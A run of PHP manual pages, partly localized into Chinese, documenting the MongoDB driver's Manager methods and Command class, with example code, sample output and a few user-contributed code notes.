  string(3) "bar"
  ["sum"]=>
  int(10)
}
object(stdClass)#7 (2) {
  ["_id"]=>
  string(3) "foo"
  ["sum"]=>
  int(2)
}

Example #3 Limiting execution time for a command

The execution time of a command may be limited by specifying a value for "maxTimeMS" in the MongoDB\Driver\Command document. Note that this time limit is enforced on the server side and does not take network latency into account. See » Terminate Running Operations in the MongoDB manual for more information.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$command = new MongoDB\Driver\Command([
'count' => 'collection',
'query' => ['x' => ['$gt' => 1]],
'maxTimeMS' => 1000,
]);

$cursor = $manager->executeCommand('db', $command);

var_dump($cursor->toArray()[0]);

?>

If the command fails to complete after one second of execution time on the server, a MongoDB\Driver\Exception\ExecutionTimeoutException will be thrown.

注释

Note: If a secondary readPreference is used, it is the caller's responsibility to ensure that the command can be executed on a secondary. No validation is done by the driver.

Note: This method does not default to using the read preference from the MongoDB Connection URI. Applications in need of that behavior should consider using MongoDB\Driver\Manager::executeReadCommand().

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database query

  • ? MongoDB\Driver\Manager::executeCommand
  • MongoDB\Driver\Manager::executeReadCommand ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database query

MongoDB\Driver\Manager::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeQuery — Execute a database query

说明

final public MongoDB\Driver\Manager::executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the query on that server. By default, the read preference from the MongoDB Connection URI will be used.

参数

namespace (string)

A fully qualified namespace (e.g. "databaseName.collectionName").

query (MongoDB\Driver\Query)

The query to execute.

options

options
Option Type Description
readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid query operators).

更新日志

版本 | 说明
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

示例

Example #1 MongoDB\Driver\Manager::executeQuery() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$filter = ['x' => ['$gt' => 1]];
$options = [
'projection' => ['_id' => 0],
'sort' => ['x' => -1],
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
var_dump($document);
}

?>

以上示例会输出：

object(stdClass)#6 (1) {
  ["x"]=>
  int(3)
}
object(stdClass)#7 (1) {
  ["x"]=>
  int(2)
}

Example #2 Limiting execution time for a query

The "maxTimeMS" MongoDB\Driver\Query option may be used to limit the execution time of a query. Note that this time limit is enforced on the server side and does not take network latency into account. See » Terminate Running Operations in the MongoDB manual for more information.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$filter = ['x' => ['$gt' => 1]];
$options = [
'maxTimeMS' => 1000,
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
var_dump($document);
}

?>

If the query fails to complete after one second of execution time on the server, a MongoDB\Driver\Exception\ExecutionTimeoutException will be thrown.

参见

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Server::executeQuery() - Execute a database query on this server

User Contributed Notes

Anonymous 05-Mar-2017 04:52
$filter = [];
        if (!empty($mail_brand)) {
            $filter['mx.brand_id'] = intval($mail_brand);
        }
        if (!empty($contacttool_brand)) {
            $filter['contacttool.brand_id'] = intval($contacttool_brand);
        }
        if ($mx_switch_title == 20 || empty($province)) {
            $filter["wwwtitle"] = ['$ne' => null];
        }
        //网站标题
        if (!empty($wwwtitle)) {
            $filter['wwwtitle'] = new \MongoDB\BSON\Regex(".*{$wwwtitle}.*", '');
        }
        //只带mx的查询
        if ($mx_on_switch == 20 || empty($province)) {
            $filter["mx"] = ['$exists' => true];
        }
        //mx模糊查询
        if (!empty($mx_vague_check)) {
            $filter["mx.mx"] = new \MongoDB\BSON\Regex(".*{$mx_vague_check}.*", '');
        }

        //如果没有传递省份
        if (empty($province)) {
            $province = "shandong";
        }
        try {
            $options_base = ['connectTimeoutMS' => 500000, 'socketTimeoutMS' => 500000];
            $manager = new \MongoDB\Driver\Manager(C('mongodb_auth_url'), $options_base);
//            $readPreference = $manager->getReadPreference();
//            $server = $manager->selectServer($readPreference);
            $coll = C('default_db') . '.' . $province;
            $options = [
                "skip" => $page,
                "limit" => $rows,
                'projection' => ['createdate' => 0,
                    'expiresdate' => 0,
                    'registrant_city' => 0,
                    'registrant_street' => 0,
                    'registrant_state' => 0,
                    'updatedate' => 0,
                    'whoisserver_id' => 0,
                    'registrar_name_id' => 0,
                    'id' => 0,
                ],
            ];
            //查询记录总的数量
            $commands = [
                'count' => $province,
                'query' => $filter
            ];
            $command = new \MongoDB\Driver\Command($commands);
            $cursor = $manager->executeCommand('mxmanage', $command);
            $info = $cursor->toArray();
            $count = $info[0]->n;
            $query = new \MongoDB\Driver\Query($filter, $options);
            $rows = $manager->executeQuery($coll, $query);
            $info = [];
            foreach ($rows as $document) {
                $doc = (array)$document;
                $doc['_id'] = (string)$doc['_id'];
                $doc['mail_brand_name'] = $doc['mx']->brand_name;
                $doc['mail_mx'] = $doc['mx']->mx ?: '';
                $doc['contacttool_brand_name'] = $doc['contacttool']->brand_name;
                $doc['mx_changetime'] = !$doc['mx_changetime'] ? '' : date('Y-m-d H:i', $doc['mx_changetime']);
                $doc['contacttool_changetime'] = !$doc['contacttool_changetime'] ? '' : date('Y-m-d H:i', $doc['contacttool_changetime']);
                unset($doc['mx']);
                unset($doc['contacttool']);
                $info[] = $doc;
            }
        } catch (\MongoDB\Driver\Exception $e) {
            echo $e->getMessage(), "\n";
            exit;
        }


Execute a database command that reads

  • ? MongoDB\Driver\Manager::executeQuery
  • MongoDB\Driver\Manager::executeReadWriteCommand ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that reads

MongoDB\Driver\Manager::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads

说明

final public MongoDB\Driver\Manager::executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the command on that server. By default, the read preference from the MongoDB Connection URI will be used.

This method will apply logic that is specific to commands that read (e.g. » count) and take the MongoDB server version into account. The "readConcern" option will default to the corresponding value from the MongoDB Connection URI.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads and writes

  • ? MongoDB\Driver\Manager::executeReadCommand
  • MongoDB\Driver\Manager::executeWriteCommand ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that reads and writes

MongoDB\Driver\Manager::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes

说明

final public MongoDB\Driver\Manager::executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Executes the command on the primary server.

This method will apply logic that is specific to commands that read and write (e.g. » aggregate) and take the MongoDB server version into account. The "readConcern" and "writeConcern" options will default to the corresponding values from the MongoDB Connection URI.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that writes

  • ? MongoDB\Driver\Manager::executeReadWriteCommand
  • MongoDB\Driver\Manager::getEncryptedFieldsMap ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that writes

MongoDB\Driver\Manager::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes

说明

final public MongoDB\Driver\Manager::executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Executes the command on the primary server.

This method will apply logic that is specific to commands that write (e.g. » drop) and take the MongoDB server version into account. The "writeConcern" option will default to the corresponding value from the MongoDB Connection URI.

Note: This method is not intended to be used to execute » insert, » update, or » delete commands. Users are encouraged to use MongoDB\Driver\Manager::executeBulkWrite() for those commands.

参数

db (string)

The name of the database on which to execute the command.

command (MongoDB\Driver\Command)

The command to execute.

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

Warning

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返回值

Returns MongoDB\Driver\Cursor on success.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

更新日志

版本 | 说明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

参见

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server

User Contributed Notes

There are no user contributed notes for this page.


Return the encryptedFieldsMap auto encryption option for the Manager

  • ? MongoDB\Driver\Manager::executeWriteCommand
  • MongoDB\Driver\Manager::getReadConcern ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the encryptedFieldsMap auto encryption option for the Manager

MongoDB\Driver\Manager::getEncryptedFieldsMap

(mongodb >=1.14.0)

MongoDB\Driver\Manager::getEncryptedFieldsMap — Return the encryptedFieldsMap auto encryption option for the Manager

说明

final public MongoDB\Driver\Manager::getEncryptedFieldsMap(): array|object|null

Returns the encryptedFieldsMap auto encryption option for the Manager, if specified.

参数

此函数没有参数。

返回值

The encryptedFieldsMap auto encryption option for the Manager, or null if it was not specified.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Return the ReadConcern for the Manager

  • ? MongoDB\Driver\Manager::getEncryptedFieldsMap
  • MongoDB\Driver\Manager::getReadPreference ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the ReadConcern for the Manager

MongoDB\Driver\Manager::getReadConcern

(mongodb >=1.1.0)

MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager

说明

final public MongoDB\Driver\Manager::getReadConcern(): MongoDB\Driver\ReadConcern

Returns the MongoDB\Driver\ReadConcern for the Manager, which is derived from its URI options. This is the default read concern for queries and commands executed on the Manager.

参数

此函数没有参数。

返回值

The MongoDB\Driver\ReadConcern for the Manager.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Manager::getReadConcern() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readConcernLevel=local');
var_dump($manager->getReadConcern());

?>

以上示例的输出类似于：

object(MongoDB\Driver\ReadConcern)#2 (0) {
}
object(MongoDB\Driver\ReadConcern)#1 (1) {
  ["level"]=>
  string(5) "local"
}

参见

  • MongoDB\Driver\ReadConcern
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Return the ReadPreference for the Manager

  • ? MongoDB\Driver\Manager::getReadConcern
  • MongoDB\Driver\Manager::getServers ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the ReadPreference for the Manager

MongoDB\Driver\Manager::getReadPreference

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager

说明

final public MongoDB\Driver\Manager::getReadPreference(): MongoDB\Driver\ReadPreference

Returns the MongoDB\Driver\ReadPreference for the Manager, which is derived from its URI options. This is the default read preference for queries and commands executed on the Manager.

参数

此函数没有参数。

返回值

The MongoDB\Driver\ReadPreference for the Manager.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Manager::getReadPreference() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadPreference());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readPreference=secondaryPreferred&readPreferenceTags=dc:ny,rack:1&readPreferenceTags=dc:ny&readPreferenceTags=');
var_dump($manager->getReadPreference());

?>

以上示例的输出类似于：

object(MongoDB\Driver\ReadPreference)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(18) "secondaryPreferred"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#3 (2) {
      ["dc"]=>
      string(2) "ny"
      ["rack"]=>
      string(1) "1"
    }
    [1]=>
    object(stdClass)#4 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [2]=>
    object(stdClass)#5 (0) {
    }
  }
}

参见

  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Return the servers to which this manager is connected

  • ? MongoDB\Driver\Manager::getReadPreference
  • MongoDB\Driver\Manager::getWriteConcern ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the servers to which this manager is connected

MongoDB\Driver\Manager::getServers

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getServers — Return the servers to which this manager is connected

说明

final public MongoDB\Driver\Manager::getServers(): array

Returns an array of MongoDB\Driver\Server instances to which this manager is connected.

Note: Since the driver connects to the database lazily, this method may return an empty array if called before executing an operation on the MongoDB\Driver\Manager.

参数

此函数没有参数。

返回值

Returns an array of MongoDB\Driver\Server instances to which this manager is connected.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Manager::getServers() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

/* The driver connects to the database server lazily, so Manager::getServers()
* may initially return an empty array. */
var_dump($manager->getServers());

$command = new MongoDB\Driver\Command(['ping' => 1]);
$manager->executeCommand('db', $command);

var_dump($manager->getServers());

?>

以上示例的输出类似于：

array(0) {
}
array(1) {
  [0]=>
  object(MongoDB\Driver\Server)#3 (10) {
    ["host"]=>
    string(9) "localhost"
    ["port"]=>
    int(27017)
    ["type"]=>
    int(1)
    ["is_primary"]=>
    bool(false)
    ["is_secondary"]=>
    bool(false)
    ["is_arbiter"]=>
    bool(false)
    ["is_hidden"]=>
    bool(false)
    ["is_passive"]=>
    bool(false)
    ["last_hello_response"]=>
    array(8) {
      ["isWritablePrimary"]=>
      bool(true)
      ["maxBsonObjectSize"]=>
      int(16777216)
      ["maxMessageSizeBytes"]=>
      int(48000000)
      ["maxWriteBatchSize"]=>
      int(1000)
      ["localTime"]=>
      object(MongoDB\BSON\UTCDateTime)#4 (1) {
        ["milliseconds"]=>
        int(1447267964517)
      }
      ["maxWireVersion"]=>
      int(3)
      ["minWireVersion"]=>
      int(0)
      ["ok"]=>
      float(1)
    }
    ["round_trip_time"]=>
    int(554)
  }
}

参见

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::selectServer() - Select a server matching a read preference

User Contributed Notes

There are no user contributed notes for this page.


Return the WriteConcern for the Manager

  • ? MongoDB\Driver\Manager::getServers
  • MongoDB\Driver\Manager::removeSubscriber ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the WriteConcern for the Manager

MongoDB\Driver\Manager::getWriteConcern

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getWriteConcern — Return the WriteConcern for the Manager

说明

final public MongoDB\Driver\Manager::getWriteConcern(): MongoDB\Driver\WriteConcern

Returns the MongoDB\Driver\WriteConcern for the Manager, which is derived from its URI options. This is the default write concern for writes and commands executed on the Manager.

参数

此函数没有参数。

返回值

The MongoDB\Driver\WriteConcern for the Manager.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Manager::getWriteConcern() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getWriteConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?w=majority&wtimeoutMS=2000');
var_dump($manager->getWriteConcern());

?>

以上示例的输出类似于：

object(MongoDB\Driver\WriteConcern)#2 (0) {
}
object(MongoDB\Driver\WriteConcern)#1 (2) {
  ["w"]=>
  string(8) "majority"
  ["wtimeout"]=>
  int(2000)
}

参见

  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Unregisters a monitoring event subscriber with this Manager

  • ? MongoDB\Driver\Manager::getWriteConcern
  • MongoDB\Driver\Manager::selectServer ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Unregisters a monitoring event subscriber with this Manager

MongoDB\Driver\Manager::removeSubscriber

(mongodb >=1.10.0)

MongoDB\Driver\Manager::removeSubscriber — Unregisters a monitoring event subscriber with this Manager

说明

final public MongoDB\Driver\Manager::removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Unregisters a monitoring event subscriber with this Manager.

Note: If subscriber is not already registered with this Manager, this function is a no-op.

参数

subscriber (MongoDB\Driver\Monitoring\Subscriber)

A monitoring event subscriber to unregister with this Manager.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Manager::addSubscriber() - Registers a monitoring event subscriber with this Manager
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\removeSubscriber() - Unregisters a monitoring event subscriber globally
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Select a server matching a read preference

  • ? MongoDB\Driver\Manager::removeSubscriber
  • MongoDB\Driver\Manager::startSession ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Select a server matching a read preference

MongoDB\Driver\Manager::selectServer

(mongodb >=1.0.0)

MongoDB\Driver\Manager::selectServer — Select a server matching a read preference

说明

final public MongoDB\Driver\Manager::selectServer(?MongoDB\Driver\ReadPreference $readPreference = null): MongoDB\Driver\Server

Selects a MongoDB\Driver\Server matching readPreference. If readPreference is null or omitted, the primary server will be selected by default. This may be used to preselect a server in order to perform version checking before executing an operation.

Note: Unlike MongoDB\Driver\Manager::getServers(), this method will initialize database connections and perform server discovery if necessary. See the » Server Selection Specification for additional information.

参数

readPreference (MongoDB\Driver\ReadPreference)

The read preference to use for selecting a server. If null or omitted, the primary server will be selected by default.

返回值

Returns a MongoDB\Driver\Server matching the read preference.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\RuntimeException if a server matching the read preference could not be found.

更新日志

版本 | 说明
PECL mongodb 1.11.0 | The readPreference is now optional. If null or omitted, the primary server will be selected by default.

参见

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::getServers() - Return the servers to which this manager is connected
  • » Server Selection Specification

User Contributed Notes

There are no user contributed notes for this page.


Start a new client session for use with this client

  • ? MongoDB\Driver\Manager::selectServer
  • MongoDB\Driver\Command ?
  • PHP Manual
  • MongoDB\Driver\Manager
  • Start a new client session for use with this client

MongoDB\Driver\Manager::startSession

(mongodb >=1.4.0)

MongoDB\Driver\Manager::startSession — Start a new client session for use with this client

说明

final public MongoDB\Driver\Manager::startSession(?array $options = null): MongoDB\Driver\Session

Creates a MongoDB\Driver\Session for the given options. The session may then be specified when executing commands, queries, and write operations.

Note: A MongoDB\Driver\Session can only be used with the MongoDB\Driver\Manager from which it was created.

参数

options

options
Option Type Description Default
causalConsistency bool

Configure causal consistency in a session. If true, each operation in the session will be causally ordered after the previous read or write operation. Set to false to disable causal consistency.

See » Casual Consistency in the MongoDB manual for more information.

true
defaultTransactionOptions array

Default options to apply to newly created transactions. These options are used unless they are overridden when a transaction is started with different value for each option.

options
Option Type Description
maxCommitTimeMS integer

The maximum amount of time in milliseconds to allow a single commitTransaction command to run.

If specified, maxCommitTimeMS must be a signed 32-bit integer greater than or equal to zero.

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

This option is available in MongoDB 4.0+.

[]
snapshot bool

Configure snapshot reads in a session. If true, a timestamp will be obtained from the first supported read operation in the session (i.e. find, aggregate, or unsharded distinct). Subsequent read operations within the session will then utilize a "snapshot" read concern level to read majority-committed data from that timestamp. Set to false to disable snapshot reads.

Snapshot reads require MongoDB 5.0+ and cannot be used with causal consistency, transactions, or write operations. If "snapshot" is true, "causalConsistency" will default to false.

See » Read Concern "snapshot" in the MongoDB manual for more information.

false

返回值

Returns a MongoDB\Driver\Session.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "causalConsistency" and "snapshot" options are both true.
  • Throws MongoDB\Driver\Exception\RuntimeException if the session could not be created (e.g. libmongoc does not support crypto).

更新日志

版本 | 说明
PECL mongodb 1.11.0 | The "snapshot" option was added.
PECL mongodb 1.6.0 | The "maxCommitTimeMS" option was added to "defaultTransactionOptions".
PECL mongodb 1.5.0 | The "defaultTransactionOptions" option was added.

参见

  • MongoDB\Driver\Session
  • » Casual Consistency in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Command class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\Command class is a value object that represents a database command.

To provide Command Helpers the MongoDB\Driver\Command object should be composed.

类摘要

final class MongoDB\Driver\Command {
/* 方法 */
final public __construct(array|object $document, ?array $commandOptions = null)
}

示例

Example #1 Composing MongoDB\Driver\Command to provide a helper to create collections

<?php
class CreateCollection {
protected $cmd = array();

function __construct($collectionName) {
$this->cmd["create"] = (string)$collectionName;
}
function setCappedCollection($maxBytes, $maxDocuments = false) {
$this->cmd["capped"] = true;
$this->cmd["size"] = (int)$maxBytes;

if ($maxDocuments) {
$this->cmd["max"] = (int)$maxDocuments;
}
}
function usePowerOf2Sizes($bool) {
if ($bool) {
$this->cmd["flags"] = 1;
} else {
$this->cmd["flags"] = 0;
}
}
function setFlags($flags) {
$this->cmd["flags"] = (int)$flags;
}
function getCommand() {
return new MongoDB\Driver\Command($this->cmd);
}
function getCollectionName() {
return $this->cmd["create"];
}
}

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$createCollection = new CreateCollection("cappedCollection");
$createCollection->setCappedCollection(64 * 1024);

try {
$command = $createCollection->getCommand();
$cursor = $manager->executeCommand("databaseName", $command);
$response = $cursor->toArray()[0];
var_dump($response);

$collstats = ["collstats" => $createCollection->getCollectionName()];
$cursor = $manager->executeCommand("databaseName", new MongoDB\Driver\Command($collstats));
$response = $cursor->toArray()[0];
var_dump($response);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

?>

以上示例会输出：

object(MongoDB\Driver\Command)#3 (1) {
  ["command"]=>
  array(3) {
    ["create"]=>
    string(16) "cappedCollection"
    ["capped"]=>
    bool(true)
    ["size"]=>
    int(65536)
  }
}
array(1) {
  ["ok"]=>
  float(1)
}
array(16) {
  ["ns"]=>
  string(29) "databaseName.cappedCollection"
  ["count"]=>
  int(0)
  ["size"]=>
  int(0)
  ["numExtents"]=>
  int(1)
  ["storageSize"]=>
  int(65536)
  ["nindexes"]=>
  int(1)
  ["lastExtentSize"]=>
  float(65536)
  ["paddingFactor"]=>
  float(1)
  ["paddingFactorNote"]=>
  string(101) "paddingFactor is unused and unmaintained in 2.8. It remains hard coded to 1.0 for compatibility only."
  ["userFlags"]=>
  int(0)
  ["capped"]=>
  bool(true)
  ["max"]=>
  int(9223372036854775807)
  ["maxSize"]=>
  int(65536)
  ["totalIndexSize"]=>
  int(8176)
  ["indexSizes"]=>
  object(stdClass)#4 (1) {
    ["_id_"]=>
    int(8176)
  }
  ["ok"]=>
  float(1)
}

Table of Contents

  • MongoDB\Driver\Command::__construct — Create a new Command

User Contributed Notes

jonny dot b dot 112 at gmail dot com 27-Sep-2018 09:14
0) Read the official MongoDB documentation for understand what db commands you can use and what parameters they requires - https://docs.mongodb.com/manual/reference/command/

1) Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
because pipeline is array of objects in json words (index array of associative arrays in php words) - pipeline: [ {<stage>}, ... ]
